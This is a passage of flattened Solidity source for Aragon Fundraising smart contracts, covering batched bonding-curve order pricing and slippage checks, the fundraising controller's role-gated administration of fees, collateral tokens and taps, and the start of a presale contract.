returns (bool) { uint256 staticPricePPM = _staticPricePPM(_batch.supply, _batch.balance, _batch.reserveRatio); uint256 maximumSlippage = _batch.slippage; // if static price is zero let's consider that every slippage is valid if (staticPricePPM == 0) { return true; } return _buySlippageIsValid(_batch, staticPricePPM, maximumSlippage) && _sellSlippageIsValid(_batch, staticPricePPM, maximumSlippage); } function _buySlippageIsValid(Batch storage _batch, uint256 _startingPricePPM, uint256 _maximumSlippage) internal view returns (bool) { /** * NOTE * the case where starting price is zero is handled * in the meta function _slippageIsValid() */ /** * NOTE * slippage is valid if: * totalBuyReturn >= totalBuySpend / (startingPrice * (1 + maxSlippage)) * totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (1 + maximumSlippage / PCT_BASE)) * totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (1 + maximumSlippage / PCT_BASE)) * totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (PCT + maximumSlippage) / PCT_BASE) * totalBuyReturn * startingPrice * ( PCT + maximumSlippage) >= totalBuySpend * PCT_BASE * PPM */ if ( _batch.totalBuyReturn.mul(_startingPricePPM).mul(PCT_BASE.add(_maximumSlippage)) >= _batch.totalBuySpend.mul(PCT_BASE).mul(uint256(PPM)) ) { return true; } return false; } function _sellSlippageIsValid(Batch storage _batch, uint256 _startingPricePPM, uint256 _maximumSlippage) internal view returns (bool) { /** * NOTE * the case where starting price is zero is handled * in the meta function _slippageIsValid() */ // if allowed sell slippage >= 100% // then any sell slippage is valid if (_maximumSlippage >= PCT_BASE) { return true; } /** * NOTE * slippage is valid if * totalSellReturn >= startingPrice * (1 - maxSlippage) * totalBuySpend * totalSellReturn >= (startingPricePPM / PPM) * (1 - maximumSlippage / PCT_BASE) * totalBuySpend * totalSellReturn >= (startingPricePPM / PPM) * (PCT_BASE - maximumSlippage) * totalBuySpend / PCT_BASE * totalSellReturn * PCT_BASE * PPM = startingPricePPM * (PCT_BASE - maximumSlippage) * totalBuySpend */ if ( _batch.totalSellReturn.mul(PCT_BASE).mul(uint256(PPM)) >= _startingPricePPM.mul(PCT_BASE.sub(_maximumSlippage)).mul(_batch.totalSellSpend) ) { return true; } return false; } /* initialization functions */ function _currentBatch(address _collateral) internal returns (uint256, Batch storage) { uint256 batchId = _currentBatchId(); MetaBatch storage metaBatch = metaBatches[batchId]; Batch storage batch = metaBatch.batches[_collateral]; if (!metaBatch.initialized) { /** * NOTE * all collateral batches should be initialized with the same supply to * avoid price manipulation between different collaterals in the same meta-batch * we don't need to do the same with collateral balances as orders against one collateral * can't affect the pool's balance against another collateral and tap is a step-function * of the meta-batch duration */ /** * NOTE * realSupply(metaBatch) = totalSupply(metaBatchInitialization) + tokensToBeMinted(metaBatchInitialization) * 1. buy and sell orders incoming during the current meta-batch and affecting totalSupply or tokensToBeMinted * should not be taken into account in the price computation [they are already a part of the batched pricing computation] * 2. the only way for totalSupply to be modified during a meta-batch [outside of incoming buy and sell orders] * is for buy orders from previous meta-batches to be claimed [and tokens to be minted]: * as such totalSupply(metaBatch) + tokenToBeMinted(metaBatch) will always equal totalSupply(metaBatchInitialization) + tokenToBeMinted(metaBatchInitialization) */ metaBatch.realSupply = token.totalSupply().add(tokensToBeMinted); metaBatch.buyFeePct = buyFeePct; metaBatch.sellFeePct = sellFeePct; metaBatch.formula = formula; metaBatch.initialized = true; emit NewMetaBatch(batchId, metaBatch.realSupply, metaBatch.buyFeePct, metaBatch.sellFeePct, metaBatch.formula); } if (!batch.initialized) { /** * NOTE * supply(batch) = realSupply(metaBatch) + virtualSupply(batchInitialization) * virtualSupply can technically be updated during a batch: the on-going batch will still use * its value at the time of initialization [it's up to the updater to act wisely] */ /** * NOTE * balance(batch) = poolBalance(batchInitialization) - collateralsToBeClaimed(batchInitialization) + virtualBalance(metaBatchInitialization) * 1. buy and sell orders incoming during the current batch and affecting poolBalance or collateralsToBeClaimed * should not be taken into account in the price computation [they are already a part of the batched price computation] * 2. the only way for poolBalance to be modified during a batch [outside of incoming buy and sell orders] * is for sell orders from previous meta-batches to be claimed [and collateral to be transfered] as the tap is a step-function of the meta-batch duration: * as such poolBalance(batch) - collateralsToBeClaimed(batch) will always equal poolBalance(batchInitialization) - collateralsToBeClaimed(batchInitialization) * 3. virtualBalance can technically be updated during a batch: the on-going batch will still use * its value at the time of initialization [it's up to the updater to act wisely] */ controller.updateTappedAmount(_collateral); batch.supply = metaBatch.realSupply.add(collaterals[_collateral].virtualSupply); batch.balance = controller.balanceOf(address(reserve), _collateral).add(collaterals[_collateral].virtualBalance).sub(collateralsToBeClaimed[_collateral]); batch.reserveRatio = collaterals[_collateral].reserveRatio; batch.slippage = collaterals[_collateral].slippage; batch.initialized = true; emit NewBatch(batchId, _collateral, batch.supply, batch.balance, batch.reserveRatio, batch.slippage); } return (batchId, batch); } /* state modifiying functions */ function _open() internal { isOpen = true; emit Open(); } function _updateBeneficiary(address _beneficiary) internal { beneficiary = _beneficiary; emit UpdateBeneficiary(_beneficiary); } function _updateFormula(IBancorFormula _formula) internal { formula = _formula; emit UpdateFormula(address(_formula)); } function _updateFees(uint256 _buyFeePct, uint256 _sellFeePct) internal { buyFeePct = _buyFeePct; sellFeePct = _sellFeePct; emit UpdateFees(_buyFeePct, _sellFeePct); } function _cancelCurrentBatch(address _collateral) internal { (uint256 batchId, Batch storage batch) = _currentBatch(_collateral); if (!batch.cancelled) { batch.cancelled = true; // bought bonds are cancelled but sold bonds are due back // bought collaterals are cancelled but sold collaterals are due back tokensToBeMinted = tokensToBeMinted.sub(batch.totalBuyReturn).add(batch.totalSellSpend); collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].add(batch.totalBuySpend).sub(batch.totalSellReturn); emit CancelBatch(batchId, _collateral); } } function _addCollateralToken(address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage) internal { collaterals[_collateral].whitelisted = true; collaterals[_collateral].virtualSupply = _virtualSupply; collaterals[_collateral].virtualBalance = _virtualBalance; collaterals[_collateral].reserveRatio = _reserveRatio; collaterals[_collateral].slippage = _slippage; emit AddCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } function _removeCollateralToken(address _collateral) internal { _cancelCurrentBatch(_collateral); Collateral storage collateral = collaterals[_collateral]; delete collateral.whitelisted; delete collateral.virtualSupply; delete collateral.virtualBalance; delete collateral.reserveRatio; delete collateral.slippage; emit RemoveCollateralToken(_collateral); } function _updateCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage ) internal { collaterals[_collateral].virtualSupply = _virtualSupply; collaterals[_collateral].virtualBalance = _virtualBalance; collaterals[_collateral].reserveRatio = _reserveRatio; collaterals[_collateral].slippage = _slippage; emit UpdateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } function _openBuyOrder(address _buyer, address _collateral, uint256 _value) internal { (uint256 batchId, Batch storage batch) = _currentBatch(_collateral); // deduct fee uint256 fee = _value.mul(metaBatches[batchId].buyFeePct).div(PCT_BASE); uint256 value = _value.sub(fee); // collect fee and collateral if (fee > 0) { _transfer(_buyer, beneficiary, _collateral, fee); } _transfer(_buyer, address(reserve), _collateral, value); // save batch uint256 deprecatedBuyReturn = batch.totalBuyReturn; uint256 deprecatedSellReturn = batch.totalSellReturn; // update batch batch.totalBuySpend = batch.totalBuySpend.add(value); batch.buyers[_buyer] = batch.buyers[_buyer].add(value); // update pricing _updatePricing(batch, batchId, _collateral); // update the amount of tokens to be minted and collaterals to be claimed tokensToBeMinted = tokensToBeMinted.sub(deprecatedBuyReturn).add(batch.totalBuyReturn); collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(deprecatedSellReturn).add(batch.totalSellReturn); // sanity checks require(_slippageIsValid(batch, _collateral), ERROR_SLIPPAGE_EXCEEDS_LIMIT); emit OpenBuyOrder(_buyer, batchId, _collateral, fee, value); } function _openSellOrder(address _seller, address _collateral, uint256 _amount) internal { (uint256 batchId, Batch storage batch) = _currentBatch(_collateral); // burn bonds tokenManager.burn(_seller, _amount); // save batch uint256 deprecatedBuyReturn = batch.totalBuyReturn; uint256 deprecatedSellReturn = batch.totalSellReturn; // update batch batch.totalSellSpend = batch.totalSellSpend.add(_amount); batch.sellers[_seller] = batch.sellers[_seller].add(_amount); // update pricing _updatePricing(batch, batchId, _collateral); // update the amount of tokens to be minted and collaterals to be claimed tokensToBeMinted = tokensToBeMinted.sub(deprecatedBuyReturn).add(batch.totalBuyReturn); collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(deprecatedSellReturn).add(batch.totalSellReturn); // sanity checks require(_slippageIsValid(batch, _collateral), ERROR_SLIPPAGE_EXCEEDS_LIMIT); require(_poolBalanceIsSufficient(_collateral), ERROR_INSUFFICIENT_POOL_BALANCE); emit OpenSellOrder(_seller, batchId, _collateral, _amount); } function _claimBuyOrder(address _buyer, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 buyReturn = (batch.buyers[_buyer].mul(batch.totalBuyReturn)).div(batch.totalBuySpend); batch.buyers[_buyer] = 0; if (buyReturn > 0) { tokensToBeMinted = tokensToBeMinted.sub(buyReturn); tokenManager.mint(_buyer, buyReturn); } emit ClaimBuyOrder(_buyer, _batchId, _collateral, buyReturn); } function _claimSellOrder(address _seller, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 saleReturn = (batch.sellers[_seller].mul(batch.totalSellReturn)).div(batch.totalSellSpend); uint256 fee = saleReturn.mul(metaBatches[_batchId].sellFeePct).div(PCT_BASE); uint256 value = saleReturn.sub(fee); batch.sellers[_seller] = 0; if (value > 0) { collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(saleReturn); reserve.transfer(_collateral, _seller, value); } if (fee > 0) { reserve.transfer(_collateral, beneficiary, fee); } emit ClaimSellOrder(_seller, _batchId, _collateral, fee, value); } function _claimCancelledBuyOrder(address _buyer, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 value = batch.buyers[_buyer]; batch.buyers[_buyer] = 0; if (value > 0) { collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(value); reserve.transfer(_collateral, _buyer, value); } emit ClaimCancelledBuyOrder(_buyer, _batchId, _collateral, value); } function _claimCancelledSellOrder(address _seller, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 amount = batch.sellers[_seller]; batch.sellers[_seller] = 0; if (amount > 0) { tokensToBeMinted = tokensToBeMinted.sub(amount); tokenManager.mint(_seller, amount); } emit ClaimCancelledSellOrder(_seller, _batchId, _collateral, amount); } function _updatePricing(Batch storage batch, uint256 _batchId, address _collateral) internal { // the situation where there are no buy nor sell orders can't happen [keep commented] // if (batch.totalSellSpend == 0 && batch.totalBuySpend == 0) // return; // static price is the current exact price in collateral // per token according to the initial state of the batch // [expressed in PPM for precision sake] uint256 staticPricePPM = _staticPricePPM(batch.supply, batch.balance, batch.reserveRatio); // [NOTE] // if staticPrice is zero then resultOfSell [= 0] <= batch.totalBuySpend // so totalSellReturn will be zero and totalBuyReturn will be // computed normally along the formula // 1. we want to find out if buy orders are worth more sell orders [or vice-versa] // 2. we thus check the return of sell orders at the current exact price // 3. if the return of sell orders is larger than the pending buys, // there are more sells than buys [and vice-versa] uint256 resultOfSell = batch.totalSellSpend.mul(staticPricePPM).div(uint256(PPM)); if (resultOfSell > batch.totalBuySpend) { // >> sell orders are worth more than buy orders // 1. first we execute all pending buy orders at the current exact // price because there is at least one sell order for each buy order // 2. then the final sell return is the addition of this first // matched return with the remaining bonding curve return // the number of tokens bought as a result of all buy orders matched at the // current exact price [which is less than the total amount of tokens to be sold] batch.totalBuyReturn = batch.totalBuySpend.mul(uint256(PPM)).div(staticPricePPM); // the number of tokens left over to be sold along the curve which is the difference // between the original total sell order and the result of all the buy orders uint256 remainingSell = batch.totalSellSpend.sub(batch.totalBuyReturn); // the amount of collateral generated by selling tokens left over to be sold // along the bonding curve in the batch initial state [as if the buy orders // never existed and the sell order was just smaller than originally thought] uint256 remainingSellReturn = metaBatches[_batchId].formula.calculateSaleReturn(batch.supply, batch.balance, batch.reserveRatio, remainingSell); // the total result of all sells is the original amount of buys which were matched // plus the remaining sells which were executed along the bonding curve batch.totalSellReturn = batch.totalBuySpend.add(remainingSellReturn); } else { // >> buy orders are worth more than sell orders // 1. first we execute all pending sell orders at the current exact // price because there is at least one buy order for each sell order // 2. then the final buy return is the addition of this first // matched return with the remaining bonding curve return // the number of collaterals bought as a result of all sell orders matched at the // current exact price [which is less than the total amount of collateral to be spent] batch.totalSellReturn = resultOfSell; // the number of collaterals left over to be spent along the curve which is the difference // between the original total buy order and the result of all the sell orders uint256 remainingBuy = batch.totalBuySpend.sub(resultOfSell); // the amount of tokens generated by selling collaterals left over to be spent // along the bonding curve in the batch initial state [as if the sell orders // never existed and the buy order was just smaller than originally thought] uint256 remainingBuyReturn = metaBatches[_batchId].formula.calculatePurchaseReturn(batch.supply, batch.balance, batch.reserveRatio, remainingBuy); // the total result of all buys is the original amount of buys which were matched // plus the remaining buys which were executed along the bonding curve batch.totalBuyReturn = batch.totalSellSpend.add(remainingBuyReturn); } emit UpdatePricing(_batchId, _collateral, batch.totalBuySpend, batch.totalBuyReturn, batch.totalSellSpend, batch.totalSellReturn); } function _transfer(address _from, address _to, address _collateralToken, uint256 _amount) internal { if (_collateralToken == ETH) { _to.transfer(_amount); } else { require(ERC20(_collateralToken).safeTransferFrom(_from, _to, _amount), ERROR_TRANSFER_FROM_FAILED); } } } // File: @ablack/fundraising-shared-interfaces/contracts/IPresale.sol pragma solidity 0.4.24; contract IPresale { function open() external; function close() external; function contribute(address _contributor, uint256 _value) external payable; function refund(address _contributor, uint256 _vestedPurchaseId) external; function contributionToTokens(uint256 _value) public view returns (uint256); function contributionToken() public view returns (address); } // File: @ablack/fundraising-shared-interfaces/contracts/ITap.sol pragma solidity 0.4.24; contract ITap { function updateBeneficiary(address _beneficiary) external; function updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) external; function updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) external; function addTappedToken(address _token, uint256 _rate, uint256 _floor) external; function updateTappedToken(address _token, uint256 _rate, uint256 _floor) external; function resetTappedToken(address _token) external; function updateTappedAmount(address _token) external; function withdraw(address _token) external; function getMaximumWithdrawal(address _token) public view returns (uint256); function rates(address _token) public view returns (uint256); } // File: @ablack/fundraising-aragon-fundraising/contracts/AragonFundraisingController.sol pragma solidity 0.4.24; contract AragonFundraisingController is EtherTokenConstant, IsContract, IAragonFundraisingController, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; /** Hardcoded constants to save gas bytes32 public constant UPDATE_BENEFICIARY_ROLE = keccak256("UPDATE_BENEFICIARY_ROLE"); bytes32 public constant UPDATE_FEES_ROLE = keccak256("UPDATE_FEES_ROLE"); bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = keccak256("ADD_COLLATERAL_TOKEN_ROLE"); bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = keccak256("REMOVE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = keccak256("UPDATE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE"); bytes32 public constant ADD_TOKEN_TAP_ROLE = keccak256("ADD_TOKEN_TAP_ROLE"); bytes32 public constant UPDATE_TOKEN_TAP_ROLE = keccak256("UPDATE_TOKEN_TAP_ROLE"); bytes32 public constant OPEN_PRESALE_ROLE = keccak256("OPEN_PRESALE_ROLE"); bytes32 public constant OPEN_TRADING_ROLE = keccak256("OPEN_TRADING_ROLE"); bytes32 public constant CONTRIBUTE_ROLE = keccak256("CONTRIBUTE_ROLE"); bytes32 public constant OPEN_BUY_ORDER_ROLE = keccak256("OPEN_BUY_ORDER_ROLE"); bytes32 public constant OPEN_SELL_ORDER_ROLE = keccak256("OPEN_SELL_ORDER_ROLE"); bytes32 public constant WITHDRAW_ROLE = keccak256("WITHDRAW_ROLE"); */ bytes32 public constant UPDATE_BENEFICIARY_ROLE = 0xf7ea2b80c7b6a2cab2c11d2290cb005c3748397358a25e17113658c83b732593; bytes32 public constant UPDATE_FEES_ROLE = 0x5f9be2932ed3a723f295a763be1804c7ebfd1a41c1348fb8bdf5be1c5cdca822; bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = 0x217b79cb2bc7760defc88529853ef81ab33ae5bb315408ce9f5af09c8776662d; bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = 0x2044e56de223845e4be7d0a6f4e9a29b635547f16413a6d1327c58d9db438ee2; bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = 0xe0565c2c43e0d841e206bb36a37f12f22584b4652ccee6f9e0c071b697a2e13d; bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = 0x5d94de7e429250eee4ff97e30ab9f383bea3cd564d6780e0a9e965b1add1d207; bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = 0x57c9c67896cf0a4ffe92cbea66c2f7c34380af06bf14215dabb078cf8a6d99e1; bytes32 public constant ADD_TOKEN_TAP_ROLE = 0xbc9cb5e3f7ce81c4fd021d86a4bcb193dee9df315b540808c3ed59a81e596207; bytes32 public constant UPDATE_TOKEN_TAP_ROLE = 0xdb8c88bedbc61ea0f92e1ce46da0b7a915affbd46d1c76c4bbac9a209e4a8416; bytes32 public constant OPEN_PRESALE_ROLE = 0xf323aa41eef4850a8ae7ebd047d4c89f01ce49c781f3308be67303db9cdd48c2; bytes32 public constant OPEN_TRADING_ROLE = 0x26ce034204208c0bbca4c8a793d17b99e546009b1dd31d3c1ef761f66372caf6; bytes32 public constant CONTRIBUTE_ROLE = 0x9ccaca4edf2127f20c425fdd86af1ba178b9e5bee280cd70d88ac5f6874c4f07; bytes32 public constant OPEN_BUY_ORDER_ROLE = 0xa589c8f284b76fc8d510d9d553485c47dbef1b0745ae00e0f3fd4e28fcd77ea7; bytes32 public constant OPEN_SELL_ORDER_ROLE = 0xd68ba2b769fa37a2a7bd4bed9241b448bc99eca41f519ef037406386a8f291c0; bytes32 public constant WITHDRAW_ROLE = 0x5d8e12c39142ff96d79d04d15d1ba1269e4fe57bb9d26f43523628b34ba108ec; uint256 public constant TO_RESET_CAP = 10; string private constant ERROR_CONTRACT_IS_EOA = "FUNDRAISING_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_TOKENS = "FUNDRAISING_INVALID_TOKENS"; IPresale public presale; BatchedBancorMarketMaker public marketMaker; Agent public reserve; ITap public tap; address[] public toReset; /***** external functions *****/ /** * @notice Initialize Aragon Fundraising controller * @param _presale The address of the presale contract * @param _marketMaker The address of the market maker contract * @param _reserve The address of the reserve [pool] contract * @param _tap The address of the tap contract * @param _toReset The addresses of the tokens whose tap timestamps are to be reset [when presale is closed and trading is open] */ function initialize( IPresale _presale, BatchedBancorMarketMaker _marketMaker, Agent _reserve, ITap _tap, address[] _toReset ) external onlyInit { require(isContract(_presale), ERROR_CONTRACT_IS_EOA); require(isContract(_marketMaker), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(isContract(_tap), ERROR_CONTRACT_IS_EOA); require(_toReset.length < TO_RESET_CAP, ERROR_INVALID_TOKENS); initialized(); presale = _presale; marketMaker = _marketMaker; reserve = _reserve; tap = _tap; for (uint256 i = 0; i < _toReset.length; i++) { require(_tokenIsContractOrETH(_toReset[i]), ERROR_INVALID_TOKENS); toReset.push(_toReset[i]); } } /* generic settings related function */ /** * @notice Update beneficiary to `_beneficiary` * @param _beneficiary The address of the new beneficiary */ function updateBeneficiary(address _beneficiary) external auth(UPDATE_BENEFICIARY_ROLE) { marketMaker.updateBeneficiary(_beneficiary); tap.updateBeneficiary(_beneficiary); } /** * @notice Update fees deducted from buy and sell orders to respectively `@formatPct(_buyFeePct)`% and `@formatPct(_sellFeePct)`% * @param _buyFeePct The new fee to be deducted from buy orders [in PCT_BASE] * @param _sellFeePct The new fee to be deducted from sell orders [in PCT_BASE] */ function updateFees(uint256 _buyFeePct, uint256 _sellFeePct) external auth(UPDATE_FEES_ROLE) { marketMaker.updateFees(_buyFeePct, _sellFeePct); } /* presale related functions */ /** * @notice Open presale */ function openPresale() external auth(OPEN_PRESALE_ROLE) { presale.open(); } /** * @notice Close presale and open trading */ function closePresale() external isInitialized { presale.close(); } /** * @notice Contribute to the presale up to `@tokenAmount(self.contributionToken(): address, _value)` * @param _value The amount of contribution token to be spent */ function contribute(uint256 _value) external payable auth(CONTRIBUTE_ROLE) { presale.contribute.value(msg.value)(msg.sender, _value); } /** * @notice Refund `_contributor`'s presale contribution #`_vestedPurchaseId` * @param _contributor The address of the contributor whose presale contribution is to be refunded * @param _vestedPurchaseId The id of the contribution to be refunded */ function refund(address _contributor, uint256 _vestedPurchaseId) external isInitialized { presale.refund(_contributor, _vestedPurchaseId); } /* market making related functions */ /** * @notice Open trading [enabling users to open buy and sell orders] */ function openTrading() external auth(OPEN_TRADING_ROLE) { for (uint256 i = 0; i < toReset.length; i++) { if (tap.rates(toReset[i]) != uint256(0)) { tap.resetTappedToken(toReset[i]); } } marketMaker.open(); } /** * @notice Open a buy order worth `@tokenAmount(_collateral, _value)` * @param _collateral The address of the collateral token to be spent * @param _value The amount of collateral token to be spent */ function openBuyOrder(address _collateral, uint256 _value) external payable auth(OPEN_BUY_ORDER_ROLE) { marketMaker.openBuyOrder.value(msg.value)(msg.sender, _collateral, _value); } /** * @notice Open a sell order worth `@tokenAmount(self.token(): address, _amount)` against `_collateral.symbol(): string` * @param _collateral The address of the collateral token to be returned * @param _amount The amount of bonded token to be spent */ function openSellOrder(address _collateral, uint256 _amount) external auth(OPEN_SELL_ORDER_ROLE) { marketMaker.openSellOrder(msg.sender, _collateral, _amount); } /** * @notice Claim the results of `_collateral.symbol(): string` buy orders from batch #`_batchId` * @param _buyer The address of the user whose buy orders are to be claimed * @param _batchId The id of the batch in which buy orders are to be claimed * @param _collateral The address of the collateral token against which buy orders are to be claimed */ function claimBuyOrder(address _buyer, uint256 _batchId, address _collateral) external isInitialized { marketMaker.claimBuyOrder(_buyer, _batchId, _collateral); } /** * @notice Claim the results of `_collateral.symbol(): string` sell orders from batch #`_batchId` * @param _seller The address of the user whose sell orders are to be claimed * @param _batchId The id of the batch in which sell orders are to be claimed * @param _collateral The address of the collateral token against which sell orders are to be claimed */ function claimSellOrder(address _seller, uint256 _batchId, address _collateral) external isInitialized { marketMaker.claimSellOrder(_seller, _batchId, _collateral); } /* collateral tokens related functions */ /** * @notice Add `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be whitelisted * @param _virtualSupply The virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The reserve ratio to be used for that collateral token [in PPM] * @param _slippage The price slippage below which each market making batch is to be kept for that collateral token [in PCT_BASE] * @param _rate The rate at which that token is to be tapped [in wei / block] * @param _floor The floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function addCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage, uint256 _rate, uint256 _floor ) external auth(ADD_COLLATERAL_TOKEN_ROLE) { marketMaker.addCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); if (_collateral != ETH) { reserve.addProtectedToken(_collateral); } if (_rate > 0) { tap.addTappedToken(_collateral, _rate, _floor); } } /** * @notice Re-add `_collateral.symbol(): string` as a whitelisted collateral token [if it has been un-whitelisted in the past] * @param _collateral The address of the collateral token to be whitelisted * @param _virtualSupply The virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The reserve ratio to be used for that collateral token [in PPM] * @param _slippage The price slippage below which each market making batch is to be kept for that collateral token [in PCT_BASE] */ function reAddCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage ) external auth(ADD_COLLATERAL_TOKEN_ROLE) { marketMaker.addCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /** * @notice Remove `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be un-whitelisted */ function removeCollateralToken(address _collateral) external auth(REMOVE_COLLATERAL_TOKEN_ROLE) { marketMaker.removeCollateralToken(_collateral); // the token should still be tapped to avoid being locked // the token should still be protected to avoid being spent } /** * @notice Update `_collateral.symbol(): string` collateralization settings * @param _collateral The address of the collateral token whose collateralization settings are to be updated * @param _virtualSupply The new virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The new virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The new reserve ratio to be used for that collateral token [in PPM] * @param _slippage The new price slippage below which each market making batch is to be kept for that collateral token [in PCT_BASE] */ function updateCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage ) external auth(UPDATE_COLLATERAL_TOKEN_ROLE) { marketMaker.updateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /* tap related functions */ /** * @notice Update maximum tap rate increase percentage to `@formatPct(_maximumTapRateIncreasePct)`% * @param _maximumTapRateIncreasePct The new maximum tap rate increase percentage to be allowed [in PCT_BASE] */ function updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) external auth(UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE) { tap.updateMaximumTapRateIncreasePct(_maximumTapRateIncreasePct); } /** * @notice Update maximum tap floor decrease percentage to `@formatPct(_maximumTapFloorDecreasePct)`% * @param _maximumTapFloorDecreasePct The new maximum tap floor decrease percentage to be allowed [in PCT_BASE] */ function updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) external auth(UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE) { tap.updateMaximumTapFloorDecreasePct(_maximumTapFloorDecreasePct); } /** * @notice Add tap for `_token.symbol(): string` with a rate of `@tokenAmount(_token, _rate)` per block and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token to be tapped * @param _rate The rate at which that token is to be tapped [in wei / block] * @param _floor The floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function addTokenTap(address _token, uint256 _rate, uint256 _floor) external auth(ADD_TOKEN_TAP_ROLE) { tap.addTappedToken(_token, _rate, _floor); } /** * @notice Update tap for `_token.symbol(): string` with a rate of about `@tokenAmount(_token, 4 * 60 * 24 * 30 * _rate)` per month and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token whose tap is to be updated * @param _rate The new rate at which that token is to be tapped [in wei / block] * @param _floor The new floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function updateTokenTap(address _token, uint256 _rate, uint256 _floor) external auth(UPDATE_TOKEN_TAP_ROLE) { tap.updateTappedToken(_token, _rate, _floor); } /** * @notice Update tapped amount for `_token.symbol(): string` * @param _token The address of the token whose tapped amount is to be updated */ function updateTappedAmount(address _token) external { tap.updateTappedAmount(_token); } /** * @notice Transfer about `@tokenAmount(_token, self.getMaximumWithdrawal(_token): uint256)` from the reserve to the beneficiary * @param _token The address of the token to be transfered from the reserve to the beneficiary */ function withdraw(address _token) external auth(WITHDRAW_ROLE) { tap.withdraw(_token); } /***** public view functions *****/ function token() public view isInitialized returns (address) { return marketMaker.token(); } function contributionToken() public view isInitialized returns (address) { return presale.contributionToken(); } function getMaximumWithdrawal(address _token) public view isInitialized returns (uint256) { return tap.getMaximumWithdrawal(_token); } function collateralsToBeClaimed(address _collateral) public view isInitialized returns (uint256) { return marketMaker.collateralsToBeClaimed(_collateral); } function balanceOf(address _who, address _token) public view isInitialized returns (uint256) { uint256 balance = _token == ETH ? _who.balance : ERC20(_token).staticBalanceOf(_who); if (_who == address(reserve)) { return balance.sub(tap.getMaximumWithdrawal(_token)); } else { return balance; } } /***** internal functions *****/ function _tokenIsContractOrETH(address _token) internal view returns (bool) { return isContract(_token) || _token == ETH; } } // File: @ablack/fundraising-presale/contracts/Presale.sol pragma solidity ^0.4.24; contract Presale is IPresale, EtherTokenConstant, IsContract, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; using SafeMath64 for uint64; /** Hardcoded constants to save gas bytes32 public constant OPEN_ROLE = keccak256("OPEN_ROLE"); bytes32 public constant CONTRIBUTE_ROLE = keccak256("CONTRIBUTE_ROLE"); */ bytes32 public constant OPEN_ROLE = 0xefa06053e2ca99a43c97c4a4f3d8a394ee3323a8ff237e625fba09fe30ceb0a4; bytes32 public constant CONTRIBUTE_ROLE = 0x9ccaca4edf2127f20c425fdd86af1ba178b9e5bee280cd70d88ac5f6874c4f07; uint256 public constant PPM = 1000000; // 0% = 0 * 10 ** 4; 1% = 1 * 10 ** 4; 100% = 100 * 10 ** 4 string private constant ERROR_CONTRACT_IS_EOA = "PRESALE_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_BENEFICIARY = "PRESALE_INVALID_BENEFICIARY"; string private constant ERROR_INVALID_CONTRIBUTE_TOKEN = 